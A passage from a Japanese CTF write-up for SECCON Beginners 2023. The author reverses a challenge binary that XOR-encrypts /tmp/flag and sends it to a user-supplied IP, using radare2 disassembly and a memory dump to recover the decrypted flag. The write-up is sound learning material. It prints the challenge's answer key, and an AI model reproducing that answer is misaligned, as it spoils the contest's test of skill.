フラグをXORを用いて暗号化していることが分かります. XORを使っているということで, encryptに暗号化メッセージを渡せば復号された結果が返ってくると推測出来ます. encryptの引数を暗号化されたメッセージにし, 返り値をradare2で見ることで復号されたフラグを抽出してみます.

まず/tmp/flagを作成し, ここにWiresharkで抽出した暗号化されたフラグを書き込んでおきます. 次にencrypt関数への呼び出しの直後にbreak pointを貼り, 復号結果を格納している変数の中身を表示してみます.

❯ r2 -d -A ./leak
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze all functions arguments/locals
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Skipping type matching analysis in debugger mode (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
 -- Don't waste your time
[0x7f3366f05d70]> s main
[0x55893602054f]> pdf
            ; DATA XREF from entry0 @ 0x558936020241
┌ 674: int main (int argc, char **argv, char **envp);
│           ; var int64_t var_464h @ rbp-0x464
│           ; var int64_t var_460h @ rbp-0x460
│           ; var int64_t var_458h @ rbp-0x458
│           ; var int64_t var_450h @ rbp-0x450
│           ; var int64_t var_448h @ rbp-0x448
│           ; var int64_t var_440h @ rbp-0x440
│           ; var int64_t var_438h @ rbp-0x438
│           ; var int64_t var_430h @ rbp-0x430
│           ; var int64_t var_42eh @ rbp-0x42e
│           ; var int64_t var_420h @ rbp-0x420
│           ; var int64_t var_410h @ rbp-0x410
│           ; var int64_t var_8h @ rbp-0x8
│           0x55893602054f      f30f1efa       endbr64
│           0x558936020553      55             push rbp
│           0x558936020554      4889e5         mov rbp, rsp
│           0x558936020557      4881ec700400.  sub rsp, 0x470
│           0x55893602055e      64488b042528.  mov rax, qword fs:[0x28]
│           0x558936020567      488945f8       mov qword [var_8h], rax
│           0x55893602056b      31c0           xor eax, eax
│           0x55893602056d      488d3d940a00.  lea rdi, str.Enter_IP_address:_ ; 0x558936021008 ; "Enter IP address: "
│           0x558936020574      b800000000     mov eax, 0
│           0x558936020579      e822fcffff     call sym.imp.printf     ; int printf(const char *format)
│           0x55893602057e      488b158b2a00.  mov rdx, qword [reloc.stdin] ; [0x558936023010:8]=0
│           0x558936020585      488d85e0fbff.  lea rax, [var_420h]
│           0x55893602058c      be10000000     mov esi, 0x10           ; 16
│           0x558936020591      4889c7         mov rdi, rax
│           0x558936020594      e827fcffff     call sym.imp.fgets      ; char *fgets(char *s, int size, FILE *stream)
│           0x558936020599      4885c0         test rax, rax
│       ┌─< 0x55893602059c      7516           jne 0x5589360205b4
│       │   0x55893602059e      488d3d760a00.  lea rdi, str.Failed_to_read_IP_address ; 0x55893602101b ; "Failed to read IP address"
│       │   0x5589360205a5      e846fcffff     call sym.imp.perror     ; void perror(const char *s)
│       │   0x5589360205aa      b801000000     mov eax, 1
│      ┌──< 0x5589360205af      e927020000     jmp 0x5589360207db
│      │└─> 0x5589360205b4      488d85e0fbff.  lea rax, [var_420h]
│      │    0x5589360205bb      4889c7         mov rdi, rax
│      │    0x5589360205be      e89dfbffff     call sym.imp.strlen     ; size_t strlen(const char *s)
│      │    0x5589360205c3      488985a0fbff.  mov qword [var_460h], rax
│      │    0x5589360205ca      4883bda0fbff.  cmp qword [var_460h], 0
│      │┌─< 0x5589360205d2      742a           je 0x5589360205fe
│      ││   0x5589360205d4      488b85a0fbff.  mov rax, qword [var_460h]
│      ││   0x5589360205db      4883e801       sub rax, 1
│      ││   0x5589360205df      0fb68405e0fb.  movzx eax, byte [rbp + rax - 0x420]
│      ││   0x5589360205e7      3c0a           cmp al, 0xa             ; 10
│     ┌───< 0x5589360205e9      7513           jne 0x5589360205fe
│     │││   0x5589360205eb      488b85a0fbff.  mov rax, qword [var_460h]
│     │││   0x5589360205f2      4883e801       sub rax, 1
│     │││   0x5589360205f6      c68405e0fbff.  mov byte [rbp + rax - 0x420], 0
│     └─└─> 0x5589360205fe      488d35300a00.  lea rsi, [0x558936021035] ; "r"
│      │    0x558936020605      488d3d2b0a00.  lea rdi, str._tmp_flag  ; 0x558936021037 ; "/tmp/flag"
│      │    0x55893602060c      e8cffbffff     call sym.imp.fopen      ; file*fopen(const char *filename, const char *mode)
│      │    0x558936020611      488985a8fbff.  mov qword [var_458h], rax
│      │    0x558936020618      4883bda8fbff.  cmp qword [var_458h], 0
│      │┌─< 0x558936020620      7516           jne 0x558936020638
│      ││   0x558936020622      488d3d180a00.  lea rdi, str.Failed_to_open_file ; 0x558936021041 ; "Failed to open file"
│      ││   0x558936020629      e8c2fbffff     call sym.imp.perror     ; void perror(const char *s)
│      ││   0x55893602062e      b801000000     mov eax, 1
│     ┌───< 0x558936020633      e9a3010000     jmp 0x5589360207db
│     ││└─> 0x558936020638      488b95a8fbff.  mov rdx, qword [var_458h]
│     ││    0x55893602063f      488d85f0fbff.  lea rax, [var_410h]
│     ││    0x558936020646      4889d1         mov rcx, rdx
│     ││    0x558936020649      ba00040000     mov edx, 0x400          ; 1024
│     ││    0x55893602064e      be01000000     mov esi, 1
│     ││    0x558936020653      4889c7         mov rdi, rax
│     ││    0x558936020656      e8e5faffff     call sym.imp.fread      ; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
│     ││    0x55893602065b      488985b0fbff.  mov qword [var_450h], rax
│     ││    0x558936020662      488b85a8fbff.  mov rax, qword [var_458h]
│     ││    0x558936020669      4889c7         mov rdi, rax
│     ││    0x55893602066c      e8dffaffff     call sym.imp.fclose     ; int fclose(FILE *stream)
│     ││    0x558936020671      488d05e00900.  lea rax, str.KEYth1s_1s_n0t_f1ag_y0u_need_t0_f1nd_rea1_f1ag ; 0x558936021058 ; "KEY{th1s_1s_n0t_f1ag_y0u_need_t0_f1nd_rea1_f1ag}"
│     ││    0x558936020678      488985b8fbff.  mov qword [var_448h], rax
│     ││    0x55893602067f      488b85b8fbff.  mov rax, qword [var_448h]
│     ││    0x558936020686      4889c7         mov rdi, rax
│     ││    0x558936020689      e8d2faffff     call sym.imp.strlen     ; size_t strlen(const char *s)
│     ││    0x55893602068e      488985c0fbff.  mov qword [var_440h], rax
│     ││    0x558936020695      488b8dc0fbff.  mov rcx, qword [var_440h]
│     ││    0x55893602069c      488b95b8fbff.  mov rdx, qword [var_448h]
│     ││    0x5589360206a3      488bb5b0fbff.  mov rsi, qword [var_450h]
│     ││    0x5589360206aa      488d85f0fbff.  lea rax, [var_410h]
│     ││    0x5589360206b1      4889c7         mov rdi, rax
│     ││    0x5589360206b4      e850fcffff     call sym.encrypt
│     ││    0x5589360206b9      ba00000000     mov edx, 0
│     ││    0x5589360206be      be01000000     mov esi, 1
│     ││    0x5589360206c3      bf02000000     mov edi, 2
│     ││    0x5589360206c8      e843fbffff     call sym.imp.socket     ; int socket(int domain, int type, int protocol)
│     ││    0x5589360206cd      89859cfbffff   mov dword [var_464h], eax
│     ││    0x5589360206d3      83bd9cfbffff.  cmp dword [var_464h], 0xffffffff
│     ││┌─< 0x5589360206da      7516           jne 0x5589360206f2
│     │││   0x5589360206dc      488d3da60900.  lea rdi, str.Failed_to_create_socket ; 0x558936021089 ; "Failed to create socket"
│     │││   0x5589360206e3      e808fbffff     call sym.imp.perror     ; void perror(const char *s)
│     │││   0x5589360206e8      b801000000     mov eax, 1
│    ┌────< 0x5589360206ed      e9e9000000     jmp 0x5589360207db
│    │││└─> 0x5589360206f2      66c785d0fbff.  mov word [var_430h], 2
│    │││    0x5589360206fb      bf88130000     mov edi, 0x1388
│    │││    0x558936020700      e87bfaffff     call sym.imp.htons
│    │││    0x558936020705      668985d2fbff.  mov word [var_42eh], ax
│    │││    0x55893602070c      488d85d0fbff.  lea rax, [var_430h]
│    │││    0x558936020713      488d5004       lea rdx, [rax + 4]
│    │││    0x558936020717      488d85e0fbff.  lea rax, [var_420h]
│    │││    0x55893602071e      4889c6         mov rsi, rax
│    │││    0x558936020721      bf02000000     mov edi, 2
│    │││    0x558936020726      e8a5faffff     call sym.imp.inet_pton
│    │││    0x55893602072b      85c0           test eax, eax
│    │││┌─< 0x55893602072d      7f16           jg 0x558936020745
│    ││││   0x55893602072f      488d3d720900.  lea rdi, str.Invalid_address_Address_not_supported ; 0x5589360210a8 ; "Invalid address/Address not supported"
│    ││││   0x558936020736      e8b5faffff     call sym.imp.perror     ; void perror(const char *s)
│    ││││   0x55893602073b      b801000000     mov eax, 1
│   ┌─────< 0x558936020740      e996000000     jmp 0x5589360207db
│   ││││└─> 0x558936020745      488d8dd0fbff.  lea rcx, [var_430h]
│   ││││    0x55893602074c      8b859cfbffff   mov eax, dword [var_464h]
│   ││││    0x558936020752      ba10000000     mov edx, 0x10           ; 16
│   ││││    0x558936020757      4889ce         mov rsi, rcx
│   ││││    0x55893602075a      89c7           mov edi, eax
│   ││││    0x55893602075c      e89ffaffff     call sym.imp.connect    ; ssize_t connect(int socket, void *addr, size_t addrlen)
│   ││││    0x558936020761      83f8ff         cmp eax, 0xffffffff
│   ││││┌─< 0x558936020764      7513           jne 0x558936020779
│   │││││   0x558936020766      488d3d610900.  lea rdi, str.Failed_to_connect_to_server ; 0x5589360210ce ; "Failed to connect to server"
│   │││││   0x55893602076d      e87efaffff     call sym.imp.perror     ; void perror(const char *s)
│   │││││   0x558936020772      b801000000     mov eax, 1
│  ┌──────< 0x558936020777      eb62           jmp 0x5589360207db
│  │││││└─> 0x558936020779      488b95b0fbff.  mov rdx, qword [var_450h]
│  │││││    0x558936020780      488db5f0fbff.  lea rsi, [var_410h]
│  │││││    0x558936020787      8b859cfbffff   mov eax, dword [var_464h]
│  │││││    0x55893602078d      b900000000     mov ecx, 0
│  │││││    0x558936020792      89c7           mov edi, eax
│  │││││    0x558936020794      e8f7f9ffff     call sym.imp.send       ; ssize_t send(int socket, void *buffer, size_t length, int flags)
│  │││││    0x558936020799      488985c8fbff.  mov qword [var_438h], rax
│  │││││    0x5589360207a0      4883bdc8fbff.  cmp qword [var_438h], 0xffffffffffffffff
│  │││││┌─< 0x5589360207a8      7513           jne 0x5589360207bd
│  ││││││   0x5589360207aa      488d3d390900.  lea rdi, str.Failed_to_send_data ; 0x5589360210ea ; "Failed to send data"
│  ││││││   0x5589360207b1      e83afaffff     call sym.imp.perror     ; void perror(const char *s)
│  ││││││   0x5589360207b6      b801000000     mov eax, 1
│ ┌───────< 0x5589360207bb      eb1e           jmp 0x5589360207db
│ ││││││└─> 0x5589360207bd      488d3d3a0900.  lea rdi, str.Data_sent_successfully ; 0x5589360210fe ; "Data sent successfully"
│ ││││││    0x5589360207c4      e867f9ffff     call sym.imp.puts       ; int puts(const char *s)
│ ││││││    0x5589360207c9      8b859cfbffff   mov eax, dword [var_464h]
│ ││││││    0x5589360207cf      89c7           mov edi, eax
│ ││││││    0x5589360207d1      e8daf9ffff     call sym.imp.close      ; int close(int fildes)
│ ││││││    0x5589360207d6      b800000000     mov eax, 0
│ ││││││    ; XREFS: CODE 0x5589360205af  CODE 0x558936020633  CODE 0x5589360206ed  CODE 0x558936020740  CODE 0x558936020777
│ ││││││    ; XREFS: CODE 0x5589360207bb
│ └└└└└└──> 0x5589360207db      488b4df8       mov rcx, qword [var_8h]
│           0x5589360207df      6448330c2528.  xor rcx, qword fs:[0x28]
│       ┌─< 0x5589360207e8      7405           je 0x5589360207ef
│       │   0x5589360207ea      e881f9ffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│       └─> 0x5589360207ef      c9             leave
└           0x5589360207f0      c3             ret
[0x5589360206b9]> db 0x5589360206c8
[0x5589360206b9]> dc
hit breakpoint at: 0x5589360206c8

復号結果は'[var_410h]`に入っていると推測できるので, この変数の値を表示してみます.

[0x5589360206c8]> pxq @ rbp-0x410
0x7fff24202a70  0x34707b6234667463  0x7474345f306e5f79   ctf4b{p4y_n0_4tt
0x7fff24202a80  0x745f6e3031746e65  0x6d5f746134745f30   ent10n_t0_t4at_m
0x7fff24202a90  0x6e316865625f6e34  0x75635f6534745f64   4n_beh1nd_t4e_cu
0x7fff24202aa0  0x000a7d6e31613472  0x00007f3366efa608   r4a1n}.....f3...
0x7fff24202ab0  0x00007f3366eeba68  0x00007f3366ce97d8   h..f3......f3...
0x7fff24202ac0  0x00007f3366ebd590  0x00007fff24202b60   ...f3...`+ $....
0x7fff24202ad0  0x00007f3366f1ff40  0x00007fff24202b50   @..f3...P+ $....
0x7fff24202ae0  0x0000000000000000  0x00007fff24202b58   ........X+ $....
0x7fff24202af0  0x00007fff24202ba0  0x00007f3366eebe88   .+ $.......f3...
0x7fff24202b00  0x00007fff24202b58  0x00007f3366eebe88   X+ $.......f3...
0x7fff24202b10  0x00007f3366ebdab0  0x0000000000000000   ...f3...........
0x7fff24202b20  0x00007f3366f1f648  0x00007f3366eeb000   H..f3......f3...
0x7fff24202b30  0x00007fff24202b60  0x00007f3366ef5ce6   `+ $.....\.f3...
0x7fff24202b40  0x00007f3366cd58b8  0x00007f3366f13723   .X.f3...#7.f3...
0x7fff24202b50  0x00007f3366ebd000  0x00000000069682ac   ...f3...........
0x7fff24202b60  0x00007f3366cd4b70  0x00007f3366ef5daa   pK.f3....].f3...

復号されたフラグが含まれていることが分かります.

感想

久しぶりのCTFでしたが, 攻撃手法を思い出しながらeasy, medium辺りは解けて良かったです. SECCON Beginners 2023はシンプルな問題が多いので, 学習教材として非常に良いと思います.

もう少し解けたらかなり上位に入ることが出来たので, stackベースの攻撃手法だけではなく, kernel exploitやheap exploit辺りも勉強して次回はHard問題も解けるようにしたいです.